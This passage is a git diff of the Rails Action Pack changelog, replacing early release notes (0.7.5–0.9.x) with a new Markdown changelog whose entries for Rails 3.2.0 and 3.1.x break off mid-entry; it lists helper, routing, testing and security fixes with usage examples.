- process :milestone
-
- # Calls Controller#miletone with a POST request that has parameters
- post :milestone, { "name" => "David" }
-
- # Calls Controller#milestone with a HEAD request that has both parameters and session data
- head :milestone, { "id" => 1 }, { "user_id" => 23 }
-
- This is especially useful for testing idiomatic REST web services.
-
-* Added proper handling of HEAD requests, so that content isn't returned (Request#head? added as well) #277 [Eric Hodel]
-
-* Added indifference to whether @headers["Content-Type"], @headers["Content-type"], or @headers["content-type"] is used.
-
-* Added TestSession#session_id that returns an empty string to make it easier to functional test applications that doesn't use
- cookie-based sessions #275 [jcf]
-
-* Fixed that cached template loading would still check the file system to see if the file existed #258 [Andreas Schwarz]
-
-* Added options to tailor header tag, div id, and div class on ActiveRecordHelper#error_messages_for [Josh Peek]
-
-* Added graceful handling of non-alphanumeric names and misplaced brackets in input parameters [Jeremy Kemper]
-
-* Added a new container for cookies that makes them more intuative to use. The old methods of cookie and @cookies have been deprecated.
-
- Examples for writing:
-
- cookies["user_name"] = "david" # => Will set a simple session cookie
- cookies["login"] = { "value" => "XJ-122", "expires" => Time.now + 360} # => Will set a cookie that expires in 1 hour
-
- Examples for reading:
-
- cookies["user_name"] # => "david"
- cookies.size # => 2
-
- Read more in ActionController::Cookies
-
- NOTE: If you were using the old accessor (cookies instead of @cookies), this could potentially break your code -- if you expect a full cookie object!
-
-* Added the opportunity to defined method_missing on a controller which will handle all requests for actions not otherwise defined #223 [timb]
-
-* Fixed AbstractRequest#remote_ip for users going through proxies - Patch #228 [Eric Hodel]
-
-* Added Request#ssl? which is shorthand for @request.protocol == "https://"
-
-* Added the choice to call form_tag with no arguments (resulting in a form posting to current action) [Jeremy Kemper]
-
-* Upgraded to Builder 1.2.1
-
-* Added :module as an alias for :controller_prefix to url_for and friends, so you can do redirect_to(:module => "shop", :controller => "purchases")
- and go to /shop/purchases/
-
-* Added support for controllers in modules through @params["module"].
-
-* Added reloading for dependencies under cached environments like FastCGI and mod_ruby. This makes it possible to use those environments for development.
- This is turned on by default, but can be turned off with ActionController::Base.reload_dependencies = false in production environments.
-
- NOTE: This will only have an effect if you use the new model, service, and observer class methods to mark dependencies. All libraries loaded through
- require will be "forever" cached. You can, however, use ActionController::Base.load_or_require("library") to get this behavior outside of the new
- dependency style.
-
-* Added that controllers will automatically require their own helper if possible. So instead of doing:
-
- class MsgController < ApplicationController
- helper :msg
- end
-
- ...you can just do:
-
- class MsgController < ApplicationController
- end
-
-* Added dependencies_on(layer) to query the dependencies of a controller. Examples:
-
- MsgController.dependencies_on(:model) # => [ :post, :comment, :attachment ]
- MsgController.dependencies_on(:service) # => [ :notification_service ]
- MsgController.dependencies_on(:observer) # => [ :comment_observer ]
-
-* Added a new dependency model with the class methods model, service, and observer. Example:
-
- class MsgController < ApplicationController
- model :post, :comment, :attachment
- service :notification_service
- observer :comment_observer
- end
-
- These new "keywords" remove the need for explicitly calling 'require' in most cases. The observer method even instantiates the
- observer as well as requiring it.
-
-* Fixed that link_to would escape & in the url again after url_for already had done so
-
-
-*0.9.5* (28)
-
-* Added helper_method to designate that a given private or protected method you should available as a helper in the view. [Jeremy Kemper]
-
-* Fixed assert_rendered_file so it actually verifies if that was the rendered file [htonl]
-
-* Added the option for sharing partial spacer templates just like partials themselves [radsaq]
-
-* Fixed that Russia was named twice in country_select [alexey]
-
-* Fixed request_origin to use remote_ip instead of remote_addr [Jeremy Kemper]
-
-* Fixed link_to breakage when nil was passed for html_options [alexey]
-
-* Fixed redirect_to on a virtual server setup with apache with a port other than the default where it would forget the port number [seanohalpin]
-
-* Fixed that auto-loading webrick on Windows would cause file uploads to fail [Jeremy Kemper]
-
-* Fixed issues with sending files on WEBrick by setting the proper binmode [Jeremy Kemper]
-
-* Added send_data as an alternative to send_file when the stream is not read off the filesystem but from a database or generated live [Jeremy Kemper]
-
-* Added a new way to include helpers that doesn't require the include hack and can go without the explicit require. [Jeremy Kemper]
-
- Before:
-
- module WeblogHelper
- def self.included(controller) #:nodoc:
- controller.ancestors.include?(ActionController::Base) ? controller.add_template_helper(self) : super
- end
- end
-
- require 'weblog_helper'
- class WeblogController < ActionController::Base
- include WeblogHelper
- end
-
- After:
-
- module WeblogHelper
- end
-
- class WeblogController < ActionController::Base
- helper :weblog
- end
-
-* Added a default content-type of "text/xml" to .rxml renders [Ryan Platte]
-
-* Fixed that when /controller/index was requested by the browser, url_for would generates wrong URLs [Ryan Platte]
-
-* Fixed a bug that would share cookies between users when using FastCGI and mod_ruby [The Robot Co-op]
-
-* Added an optional third hash parameter to the process method in functional tests that takes the session data to be used [alexey]
-
-* Added UrlHelper#mail_to to make it easier to create mailto: style ahrefs
-
-* Added better error messages for layouts declared with the .rhtml extension (which they shouldn't) [geech]
-
-* Added another case to DateHelper#distance_in_minutes to return "less than a minute" instead of "0 minutes" and "1 minute" instead of "1 minutes"
-
-* Added a hidden field to checkboxes generated with FormHelper#check_box that will make sure that the unchecked value (usually 0)
- is sent even if the checkbox is not checked. This relieves the controller from doing custom checking if the checkbox wasn't
- checked. BEWARE: This might conflict with your run-on-the-mill work-around code. [Tobias Lütke]
-
-* Fixed error_message_on to just use the first if more than one error had been added [Marcel Molina Jr.]
-
-* Fixed that URL rewriting with /controller/ was working but /controller was not and that you couldn't use :id on index [geech]
-
-* Fixed a bug with link_to where the :confirm option wouldn't be picked up if the link was a straight url instead of an option hash
-
-* Changed scaffolding of forms to use <label> tags instead of <b> to please W3C [evl]
-
-* Added DateHelper#distance_of_time_in_words_to_now(from_time) that works like distance_of_time_in_words,
- but where <tt>to_time</tt> is fixed to <tt>Time.now</tt>.
-
-* Added assert_flash_equal(expected, key, message), assert_session_equal(expected, key, message),
- assert_assigned_equal(expected, key, message) to test the contents of flash, session, and template assigns.
-
-* Improved the failure report on assert_success when the action triggered a redirection [alexey].
-
-* Added "markdown" to accompany "textilize" as a TextHelper method for converting text to HTML using the Markdown syntax.
- BlueCloth must be installed in order for this method to become available.
-
-* Made sure that an active session exists before we attempt to delete it [Samuel]
-
-* Changed link_to with Javascript confirmation to use onclick instead of onClick for XHTML validity [Scott Barron]
-
-
-*0.9.0 (43)*
-
-* Added support for Builder-based templates for files with the .rxml extension. These new templates are an alternative to ERb that
- are especially useful for generating XML content, such as this RSS example from Basecamp:
-
- xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
- xml.channel do
- xml.title(@feed_title)
- xml.link(@url)
- xml.description "Basecamp: Recent items"
- xml.language "en-us"
- xml.ttl "40"
-
- for item in @recent_items
- xml.item do
- xml.title(item_title(item))
- xml.description(item_description(item)) if item_description(item)
- xml.pubDate(item_pubDate(item))
- xml.guid(@person.firm.account.url + @recent_items.url(item))
- xml.link(@person.firm.account.url + @recent_items.url(item))
-
- xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
- end
- end
- end
- end
-
- ...which will generate something like:
-
- <rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
- <channel>
- <title>Web Site Redesign</title>
- <link>http://www.basecamphq.com/clients/travelcenter/1/</link>
- <description>Basecamp: Recent items</description>
- <language>en-us</language>
- <ttl>40</ttl>
- <item>
- <title>Post: don't you know</title>
- <description>&amp;lt;p&amp;gt;deeper and down&amp;lt;/p&amp;gt;</description>
- <pubDate>Fri, 20 Aug 2004 21:13:50 CEST</pubDate>
- <guid>http://www.basecamphq.com/clients/travelcenter/1/msg/assets/96976/comments</guid>
- <link>http://www.basecamphq.com/clients/travelcenter/1/msg/assets/96976/comments</link>
- <dc:creator>David H. Heinemeier</dc:creator>
- </item>
- <item>
- <title>Milestone completed: Design Comp 2</title>
- <pubDate>Mon, 9 Aug 2004 14:42:06 CEST</pubDate>
- <guid>http://www.basecamphq.com/clients/travelcenter/1/milestones/#49</guid>
- <link>http://www.basecamphq.com/clients/travelcenter/1/milestones/#49</link>
- </item>
- </channel>
- </rss>
-
- The "xml" local variable is automatically available in .rxml templates. You construct the template by calling a method with the name
- of the tag you want. Options for the tag can be specified as a hash parameter to that method.
-
- Builder-based templates can be mixed and matched with the regular ERb ones. The only thing that differentiates them is the extension.
- No new methods have been added to the public interface to handle them.
-
- Action Pack ships with a version of Builder, but it will use the RubyGems version if you have one installed.
-
- Read more about Builder on: http://onestepback.org/index.cgi/Tech/Ruby/StayingSimple.rdoc
-
- [Builder is created by Jim Weirich]
-
-* Added much improved support for functional testing [what-a-day].
-
- # Old style
- def test_failing_authenticate
- @request.request_uri = "/login/authenticate"
- @request.action = "authenticate"
- @request.request_parameters["user_name"] = "nop"
- @request.request_parameters["password"] = ""
-
- response = LoginController.process_test(@request)
-
- assert_equal "The username and/or password you entered is invalid.", response.session["flash"]["alert"]
- assert_equal "http://37signals.basecamp.com/login/", response.headers["location"]
- end
-
- # New style
- def test_failing_authenticate
- process :authenticate, "user_name" => "nop", "password" => ""
- assert_flash_has 'alert'
- assert_redirected_to :action => "index"
- end
-
- See a full example on http://codepaste.org/view/paste/334
-
-* Increased performance by up to 100% with a revised cookie class that fixes the performance problems with the
- default one that ships with 1.8.1 and below. It replaces the inheritance on SimpleDelegator with DelegateClass(Array)
- following the suggestion from Matz on:
- http://groups.google.com/groups?th=e3a4e68ba042f842&seekm=c3sioe%241qvm%241%40news.cybercity.dk#link14
-
-* Added caching for compiled ERb templates. On Basecamp, it gave between 8.5% and 71% increase in performance [Andreas Schwarz].
-
-* Added implicit counter variable to render_collection_of_partials [Marcel Molina Jr.]. From the docs:
-
- <%= render_collection_of_partials "ad", @advertisements %>
-
- This will render "advertiser/_ad.rhtml" and pass the local variable +ad+ to the template for display. An iteration counter
- will automatically be made available to the template with a name of the form +partial_name_counter+. In the case of the
- example above, the template would be fed +ad_counter+.
-
-* Fixed problems with two sessions being maintained on reset_session that would particularly screw up ActiveRecordStore.
-
-* Fixed reset_session to start an entirely new session instead of merely deleting the old. So you can now safely access @session
- after calling reset_ression and expect it to work.
-
-* Added @request.get?, @request.post?, @request.put?, @request.delete? as convenience query methods for @request.method [geech]
-
-* Added @request.method that'll return a symbol representing the HTTP method, such as :get, :post, :put, :delete [geech]
-
-* Changed @request.remote_ip and @request.host to work properly even when a proxy is in front of the application [geech]
-
-* Added JavaScript confirm feature to link_to. Documentation:
-
- The html_options have a special feature for creating javascript confirm alerts where if you pass
- :confirm => 'Are you sure?', the link will be guarded with a JS popup asking that question.
- If the user accepts, the link is processed, otherwise not.
-
-* Added link_to_unless_current as a UrlHelper method [Sam Stephenson]. Documentation:
-
- Creates a link tag of the given +name+ using an URL created by the set of +options+, unless the current
- controller, action, and id are the same as the link's, in which case only the name is returned (or the
- given block is yielded, if one exists). This is useful for creating link bars where you don't want to link
- to the page currently being viewed.
-
-* Fixed that UrlRewriter (the driver for url_for, link_to, etc) would blow up when the anchor was an integer [alexey]
-
-* Added that layouts defined with no directory defaults to layouts. So layout "weblog/standard" will use
- weblog/standard (as always), but layout "standard" will use layouts/standard.
-
-* Fixed that partials (or any template starting with an underscore) was publically viewable [Marten]
-
-* Added HTML escaping to text_area helper.
-
-* Added :overwrite_params to url_for and friends to keep the parameters as they were passed to the current action and only overwrite a subset.
- The regular :params will clear the slate so you need to manually add in existing parameters if you want to reuse them. [raphinou]
-
-* Fixed scaffolding problem with composite named objects [Moo Jester]
-
-* Added the possibility for shared partials. Example:
-
- <%= render_partial "advertisement/ad", ad %>
-
- This will render the partial "advertisement/_ad.rhtml" regardless of which controller this is being called from.
-
- [Jacob Fugal]
-
-* Fixed crash when encountering forms that have empty-named fields [James Prudente]
-
-* Added check_box form helper method now accepts true/false as well as 1/0 [what-a-day]
-
-* Fixed the lacking creation of all directories with install.rb [Dave Steinberg]
-
-* Fixed that date_select returns valid XHTML selected options [Andreas Schwarz]
-
-* Fixed referencing an action with the same name as a controller in url_for [what-a-day]
-
-* Fixed the destructive nature of Base#attributes= on the argument [Kevin Watt]
-
-* Changed ActionControllerError to decent from StandardError instead of Exception. It can now be caught by a generic rescue.
-
-* Added SessionRestoreError that is raised when a session being restored holds objects where there is no class available.
-
-* Added block as option for inline filters. So what used to be written as:
-
- before_filter Proc { |controller| return false if controller.params["stop_action"] }
-
- ...can now be as:
-
- before_filter { |controller| return false if controller.params["stop_action"] }
-
- [Jeremy Kemper]
-
-* Made the following methods public (was protected): url_for, controller_class_name, controller_name, action_name
- This makes it easier to write filters without cheating around the encapsulation with send.
-
-* ActionController::Base#reset_session now sticks even if you access @session afterwards [Kent Sibilev]
-
-* Improved the exception logging so the log file gets almost as much as in-browser debugging.
-
-* Changed base class setup from AbstractTemplate/ERbTemplate to ActionView::Base. This change should be harmless unless you were
- accessing Action View directly in which case you now need to reference the Base class.\
-
-* Added that render_collection_of_partials returns nil if the collection is empty. This makes showing a “no items” message easier.
- For example: <%= render_collection_of_partials("message", @messages) || "No messages found." %> [Sam Stephenson]
-
-* Added :month_before_year as an option to date_select to get the month select before the year. Especially useful for credit card forms.
-
-* Added :add_month_numbers to select_month to get options like "3 - March".
-
-* Removed Base.has_active_layout? as it couldn't answer the question without the instance. Use Base#active_layout instead.
-
-* Removed redundant call to update on ActionController::Base#close_session [Andreas Schwarz]
-
-* Fixed that DRb Store accidently started its own server (instead of just client) [Andreas]
-
-* Fixed strip_links so it now works across multiple lines [Chad Fowler]
-
-* Fixed the TemplateError exception to show the proper trace on to_s (useful for unit test debugging)
-
-* Implemented class inheritable attributes without eval [Caio Chassot]
-
-* Made TextHelper#concat accept binding as it would otherwise not work
-
-* The FormOptionsHelper will now call to_s on the keys and values used to generate options
-
-
-*0.8.5*
-
-* Introduced passing of locally scoped variables between templates:
-
- You can pass local variables to sub templates by using a hash of with the variable
- names as keys and the objects as values:
-
- <%= render "shared/header", { "headline" => "Welcome", "person" => person } %>
-
- These can now be accessed in shared/header with:
-
- Headline: <%= headline %>
- First name: <%= person.first_name %>
-
-* Introduced the concept of partials as a certain type of sub templates:
-
- There's also a convenience method for rendering sub templates within the current
- controller that depends on a single object (we call this kind of sub templates for
- partials). It relies on the fact that partials should follow the naming convention
- of being prefixed with an underscore -- as to separate them from regular templates
- that could be rendered on their own. In the template for Advertiser#buy, we could have:
-
- <% for ad in @advertisements %>
- <%= render_partial "ad", ad %>
- <% end %>
-
- This would render "advertiser/_ad.rhtml" and pass the local variable +ad+
- for the template to display.
-
- == Rendering a collection of partials
-
- The example of partial use describes a familar pattern where a template needs
- to iterate over a array and render a sub template for each of the elements.
- This pattern has been implemented as a single method that accepts an array and
- renders a partial by the same name of as the elements contained within. So the
- three-lined example in "Using partials" can be rewritten with a single line:
-
- <%= render_collection_of_partials "ad", @advertisements %>
-
- So this will render "advertiser/_ad.rhtml" and pass the local variable +ad+ for
- the template to display.
-
-* Improved send_file by allowing a wide range of options to be applied [Jeremy Kemper]:
-
- Sends the file by streaming it 4096 bytes at a time. This way the
- whole file doesn't need to be read into memory at once. This makes
- it feasible to send even large files.
-
- Be careful to sanitize the path parameter if it coming from a web
- page. send_file(@params['path'] allows a malicious user to
- download any file on your server.
-
- Options:
- * <tt>:filename</tt> - specifies the filename the browser will see.
- Defaults to File.basename(path).
- * <tt>:type</tt> - specifies an HTTP content type.
- Defaults to 'application/octet-stream'.
- * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded.
- Valid values are 'inline' and 'attachment' (default).
- * <tt>:buffer_size</tt> - specifies size (in bytes) of the buffer used to stream
- the file. Defaults to 4096.
-
- The default Content-Type and Content-Disposition headers are
- set to download arbitrary binary files in as many browsers as
- possible. IE versions 4, 5, 5.5, and 6 are all known to have
- a variety of quirks (especially when downloading over SSL).
-
- Simple download:
- send_file '/path/to.zip'
-
- Show a JPEG in browser:
- send_file '/path/to.jpeg', :type => 'image/jpeg', :disposition => 'inline'
-
- Read about the other Content-* HTTP headers if you'd like to
- provide the user with more information (such as Content-Description).
- http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.11
-
- Also be aware that the document may be cached by proxies and browsers.
- The Pragma and Cache-Control headers declare how the file may be cached
- by intermediaries. They default to require clients to validate with
- the server before releasing cached responses. See
- http://www.mnot.net/cache_docs/ for an overview of web caching and
- http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9
- for the Cache-Control header spec.
-
-* Added pluralize method to the TextHelper that makes it easy to get strings like "1 message", "3 messages"
-
-* Added proper escaping for the rescues [Andreas Schwarz]
-
-* Added proper escaping for the option and collection tags [Andreas Schwarz]
-
-* Fixed NaN errors on benchmarking [Jim Weirich]
-
-* Fixed query string parsing for URLs that use the escaped versions of & or ; as part of a key or value
-
-* Fixed bug with custom Content-Type headers being in addition to rather than instead of the default header.
- (This bug didn't matter with neither CGI or mod_ruby, but FCGI exploded on it) [With help from Ara T. Howard]
-
-
-*0.8.0*
-
-* Added select, collection_select, and country_select to make it easier for Active Records to set attributes through
- drop-down lists of options. Example:
-
- <%= select "person", "gender", %w( Male Female ) %>
-
- ...would give the following:
-
- <select name="person[gender]" id="person_gender"><option>Male</option><option>Female</option></select>
-
-* Added an option for getting multiple values on a single form name into an array instead of having the last one overwrite.
- This is especially useful for groups of checkboxes, which can now be written as:
-
- <input type="checkbox" name="rights[]" value="CREATE" />
- <input type="checkbox" name="rights[]" value="UPDATE" />
- <input type="checkbox" name="rights[]" value="DELETE" />
-
- ...and retrieved in the controller action with:
-
- @params["rights"] # => [ "CREATE", "UPDATE", "DELETE" ]
-
- The old behavior (where the last one wins, "DELETE" in the example) is still available. Just don't add "[]" to the
- end of the name. [Scott Baron]
-
-* Added send_file which uses the new render_text block acceptance to make it feasible to send large files.
- The files is sent with a bunch of voodoo HTTP headers required to get arbitrary files to download as
- expected in as many browsers as possible (eg, IE hacks). Example:
-
- def play_movie
- send_file "/movies/that_movie.avi"
- end
-
- [Jeremy Kemper]
-
-* render_text now accepts a block for deferred rendering. Useful for streaming large files, displaying
- a “please wait” message during a complex search, etc. Streaming example:
-
- render_text do |response|
- File.open(path, 'rb') do |file|
- while buf = file.read(1024)
- print buf
- end
- end
- end
-
- [Jeremy Kemper]
-
-* Added a new Tag Helper that can generate generic tags programmatically insted of through HTML. Example:
-
- tag("br", "clear" => "all") => <br clear="all" />
-
- ...that's usually not terribly interesting (unless you have a lot of options already in a hash), but it
- gives way for more specific tags, like the new form tag:
-
- form_tag({ :controller => "weblog", :action => "update" }, { :multipart => "true", "style" => "width: 200px"}) =>
- <form action="/weblog/update" enctype="multipart/formdata" style="width: 200px">
-
- There's even a "pretty" version for people who don't like to open tags in code and close them in HTML:
-
- <%= start_form_tag :action => "update" %>
- # all the input fields
- <%= end_form_tag %>
-
- (end_form_tag just returns "</form>")
-
-* The selected parameter in options_for_select may now also an array of values to be selected when
- using a multiple select. Example:
-
- options_for_select([ "VISA", "Mastercard", "Discover" ], ["VISA", "Discover"]) =>
- <option selected>VISA</option>\n<option>Mastercard</option>\n<option selected>Discover</option>
-
- [Scott Baron]
-
-* Changed the URL rewriter so controller_prefix and action_prefix can be used in isolation. You can now do:
-
- url_for(:controller_prefix => "clients")
-
- ...or:
-
- url_for(:action_prefix => "category/messages")
-
- Neither would have worked in isolation before (:controller_prefix required a :controller and :action_prefix required an :action)
-
-* Started process of a cleaner separation between Action Controller and ERb-based Action Views by introducing an
- abstract base class for views. And Amita adapter could be fitted in more easily now.
-
-* The date helper methods date_select and datetime_select now also use the field error wrapping
- (div with class fieldWithErrors by default).
-
-* The date helper methods date_select and datetime_select can now discard selects
-
-* Added option on AbstractTemplate to specify a different field error wrapping. Example:
-
- ActionView::AbstractTemplate.field_error_proc = Proc.new do |html, instance|
- "<p>#{instance.method_name + instance.error_message}</p><div style='background-color: red'>#{html}</div>"
- end
-
- ...would give the following on a Post#title (text field) error:
-
- <p>Title can't be empty</p>
- <div style='background-color: red'>
- <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />
- </div>
-
-* The UrlHelper methods url_for and link_to will now by default only return paths, not complete URIs.
- That should make it easier to fit a Rails application behind a proxy or load-balancer.
- You can overwrite this by passing :only_path => false as part of the options. [Suggested by U235]
-
-* Fixed bug with having your own layout for use with scaffolding [Kevin Radloff]
-
-* Fixed bug where redirect_to_path didn't append the port on non-standard ports [dhawkins]
-
-* Scaffolding plays nicely with single-table inheritance (LoadErrors are caught) [Jeremy Kemper]
-
-* Scaffolding plays nice with plural models like Category/categories [Jeremy Kemper]
-
-* Fixed missing suffix appending in scaffolding [Kevin Radloff]
-
-
-*0.7.9*
-
-* The "form" method now present boolean fields from PostgreSQL as drop-down menu. [Scott]
-
-* Scaffolding now automatically attempts to require the class that's being scaffolded.
-
-* Scaffolding will use the current active layout, instead of its own, if one has been specified. Example:
-
- class WeblogController < ActionController::Base
- layout "layouts/weblog"
- scaffold :post
- end
-
- [Suggested by Scott]
-
-* Changed url_for (and all the that drives, like redirect_to, link_to, link_for) so you can pass it a symbol instead of a hash.
- This symbol is a method reference which is then called to calculate the url. Example:
-
- class WeblogController < ActionController::Base
- def update
- # do some update
- redirect_to :dashboard_url
- end
-
- protected
- def dashboard_url
- if @project.active?
- url_for :controller => "project", :action => "dashboard"
- else
- url_for :controller => "account", :action => "dashboard"
- end
- end
- end
-
-* Added default_url_options to specialize behavior for all url_for (and friends) calls:
-
- Overwrite to implement a number of default options that all url_for-based methods will use.
- The default options should come in form of a hash, just like the one you would use for
- url_for directly. Example:
-
- def default_url_options(options)
- { :controller_prefix => @project.active? ? "projects/" : "accounts/" }
- end
-
- As you can infer from the example, this is mostly useful for situations where you want to
- centralize dynamic dissions about the urls as they stem from the business domain. Please note
- that any individual url_for call can always override the defaults set by this method.
-
-
-* Changed url_for so that an "id" passed in the :params is not treated special. You need to use the dedicated :id to get
- the special auto path-params treatment. Considering the url http://localhost:81/friends/list
-
- url_for(:action => "show", :params => { "id" => 5 })
- ...used to give http://localhost:81/friends/show/5
- ......now gives http://localhost:81/friends/show?id=5
-
- If you want the automated id behavior, do:
-
- url_for(:action => "show", :id => 5 )
- ....which gives http://localhost:81/friends/show/5
-
-
-* Fixed problem with anchor being inserted before path parameters with url_for (and friends)
-
-
-*0.7.8*
-
-* Fixed session bug where you couldn't store any objects that didn't exist in the standard library
- (such as Active Record objects).
-
-* Added reset_session method for Action Controller objects to clear out all objects in the session.
-
-* Fixed that exceptions raised during filters are now also caught by the default rescues
-
-* Added new around_filter for doing before and after filtering with a single object [Florian Weber]:
-
- class WeblogController < ActionController::Base
- around_filter BenchmarkingFilter.new
-
- # Before this action is performed, BenchmarkingFilter#before(controller) is executed
- def index
- end
- # After this action has been performed, BenchmarkingFilter#after(controller) is executed
- end
-
- class BenchmarkingFilter
- def initialize
- @runtime
- end
-
- def before
- start_timer
- end
-
- def after
- stop_timer
- report_result
- end
- end
-
-* Added the options for specifying a different name and id for the form helper methods than what is guessed [Florian Weber]:
-
- text_field "post", "title"
- ...just gives: <input id="post_title" name="post[title]" size="30" type="text" value="" />
-
- text_field "post", "title", "id" => "title_for_post", "name" => "first_post_title"
- ...can now give: <input id="title_for_post" name="first_post_title" size="30" type="text" value="" />
-
-* Added DebugHelper with a single "debug" method for doing pretty dumps of objects in the view
- (now used in the default rescues to better present the contents of session and template variables)
-
-* Added note to log about the templates rendered within layouts (before just the layout was shown)
-
-* Fixed redirects on https setups [Andreas]
-
-* Fixed scaffolding problem on the edit action when using :suffix => true [Scott]
-
-* Fixed scaffolding problem where implementing list.rhtml wouldn't work for the index action
-
-* URLs generated now uses &amp; instead of just & so pages using it can validate with W3C [Spotted by Andreas]
-
-
-*0.7.7*
-
-* Fixed bug in CGI extension that prevented multipart forms from working
-
-
-*0.7.6*
-
-* Included ERB::Util so all templates can easily escape HTML content with <%=h @person.content %>
-
-* All requests are now considered local by default, so everyone will be exposed to detailed debugging screens on errors.
- When the application is ready to go public, set ActionController::Base.consider_all_requests_local to false,
- and implement the protected method local_request? in the controller to determine when debugging screens should be shown.
-
-* Fixed three bugs with the url_for/redirect_to/link_to handling. Considering the url http://localhost:81/friends/show/1
-
- url_for(:action => "list")
- ...used to give http://localhost:81/friends/list/1
- ......now gives http://localhost:81/friends/list
-
- url_for(:controller => "friends", :action => "destroy", :id => 5)
- ...used to give http://localhost:81/friends/destroy
- ......now gives http://localhost:81/friends/destroy/5
-
- Considering the url http://localhost:81/teachers/show/t
-
- url_for(:action => "list", :id => 5)
- ...used to give http://localhost:81/5eachers/list/t
- ......now gives http://localhost:81/teachers/list/5
-
- [Reported by David Morton & Radsaq]
-
-* Logs exception to logfile in addition to showing them for local requests
-
-* Protects the eruby load behind a begin/rescue block. eRuby is not required to run ActionController.
-
-* Fixed install.rb to also install clean_logger and the templates
-
-* Added ActiveRecordStore as a session option. Read more in lib/action_controller/session/active_record_store.rb [Tim Bates]
-
-* Change license to MIT License (and included license file in package)
-
-* Application error page now returns status code 500 instead of 200
-
-* Fixed using Procs as layout handlers [Florian Weber]
-
-* Fixed bug with using redirects ports other than 80
-
-* Added index method that calls list on scaffolding
-
-
-*0.7.5*
-
-* First public release
diff --git a/actionpack/CHANGELOG.md b/actionpack/CHANGELOG.md
new file mode 100644
index 0000000000..26c4703150
--- /dev/null
+++ b/actionpack/CHANGELOG.md
@@ -0,0 +1,5728 @@
+## Rails 3.2.0 (unreleased) ##
+
+* Assets should use the request protocol by default or default to relative if no request is available *Jonathan del Strother*
+
+* Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts *José Valim*
+
+* You can provide a namespace for your form to ensure uniqueness of id attributes on form elements.
+ The namespace attribute will be prefixed with underscore on the generate HTML id. *Vasiliy Ermolovich*
+
+ Example:
+
+ <%= form_for(@offer, :namespace => 'namespace') do |f| %>
+ <%= f.label :version, 'Version' %>:
+ <%= f.text_field :version %>
+ <% end %>
+
+* Refactor ActionDispatch::ShowExceptions. Controller is responsible for choice to show exceptions. *Sergey Nartimov*
+
+ It's possible to override +show_detailed_exceptions?+ in controllers to specify which requests should provide debugging information on errors.
+
+* Responders now return 204 No Content for API requests without a response body (as in the new scaffold) *José Valim*
+
+* Added ActionDispatch::RequestId middleware that'll make a unique X-Request-Id header available to the response and enables the ActionDispatch::Request#uuid method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog *DHH*
+
+* Limit the number of options for select_year to 1000.
+
+ Pass the :max_years_allowed option to set your own limit.
+
+ *Libo Cannici*
+
+* Passing formats or handlers to render :template and friends is deprecated. For example: *Nick Sutterer & José Valim*
+
+ render :template => "foo.html.erb"
+
+ Instead, you can provide :handlers and :formats directly as option:
+ render :template => "foo", :formats => [:html, :js], :handlers => :erb
+
+* Changed log level of warning for missing CSRF token from :debug to :warn. *Mike Dillon*
+
+* content_tag_for and div_for can now take the collection of records. It will also yield the record as the first argument if you set a receiving argument in your block *Prem Sichanugrist*
+
+ So instead of having to do this:
+
+ @items.each do |item|
+ content_tag_for(:li, item) do
+ Title: <%= item.title %>
+ end
+ end
+
+ You can now do this:
+
+ content_tag_for(:li, @items) do |item|
+ Title: <%= item.title %>
+ end
+
+* send_file now guess the mime type *Esad Hajdarevic*
+
+* Mime type entries for PDF, ZIP and other formats were added *Esad Hajdarevic*
+
+* Generate hidden input before select with :multiple option set to true.
+ This is useful when you rely on the fact that when no options is set,
+ the state of select will be sent to rails application. Without hidden field
+ nothing is sent according to HTML spec *Bogdan Gusiev*
+
+* Refactor ActionController::TestCase cookies *Andrew White*
+
+ Assigning cookies for test cases should now use cookies[], e.g:
+
+ cookies[:email] = 'user@example.com'
+ get :index
+ assert_equal 'user@example.com', cookies[:email]
+
+ To clear the cookies, use clear, e.g:
+
+ cookies.clear
+ get :index
+ assert_nil cookies[:email]
+
+ We now no longer write out HTTP_COOKIE and the cookie jar is
+ persistent between requests so if you need to manipulate the environment
+ for your test you need to do it before the cookie jar is created.
+
+## Rails 3.1.3 (unreleased) ##
+
+* Fix using `tranlate` helper with a html translation which uses the `:count` option for
+ pluralization.
+
+ *Jon Leighton*
+
+## Rails 3.1.2 (unreleased) ##
+
+* Fix XSS security vulnerability in the `translate` helper method. When using interpolation
+ in combination with HTML-safe translations, the interpolated input would not get HTML
+ escaped. *GH 3664*
+
+ Before:
+
+ translate('foo_html', :something => '<script>') # => "...<script>..."
+
+ After:
+
+ translate('foo_html', :something => '<script>') # => "...&lt;script&gt;..."
+
+ *Sergey Nartimov*
+
+* Upgrade sprockets dependency to ~> 2.1.0
+
+* Ensure that the format isn't applied twice to the cache key, else it becomes impossible
+ to target with expire_action.
+
+ *Christopher Meiklejohn*
+
+* Swallow error when can't unmarshall object from session.
+
+ *Bruno Zanchet*
+
+* Implement a workaround for a bug in ruby-1.9.3p0 where an error would be raised
+ while attempting to convert a template from one encoding to another.
+
+ Please see http://redmine.ruby-lang.org/issues/5564 for details of the bug.
+
+ The workaround is to load all conversions into memory ahead of time, and will
+ only happen if the ruby version is *exactly* 1.9.3p0. The hope is obviously that
+ the underlying problem will be resolved in the next patchlevel release of
+ 1.9.3.
+
+ *Jon Leighton*
+
+* Ensure users upgrading from 3.0.x to 3.1.x will properly upgrade their flash object in session (issues #3298 and #2509)
+
+## Rails 3.1.1 (unreleased) ##
+
+* javascript_path and stylesheet_path now refer to /assets if asset pipelining
+ is on. [Santiago Pastorino]
+* button_to support form option. Now you're able to pass for example
+ 'data-type' => 'json'. [ihower]
+* image_path and image_tag should use /assets if asset pipelining is turned
+ on. Closes #3126 [Santiago Pastorino and christos]
+* Avoid use of existing precompiled assets during rake assets:precompile run.
+ Closes #3119 [Guillermo Iguaran]
+* Copy assets to nondigested filenames too *Santiago Pastorino*
+
+* Give precedence to `config.digest = false` over the existence of
+ manifest.yml asset digests [christos]
+* escape options for the stylesheet_link_tag method *Alexey Vakhov*
+
+* Re-launch assets:precompile task using (Rake.)ruby instead of Kernel.exec so
+ it works on Windows [cablegram]
+* env var passed to process shouldn't be modified in process method. [Santiago
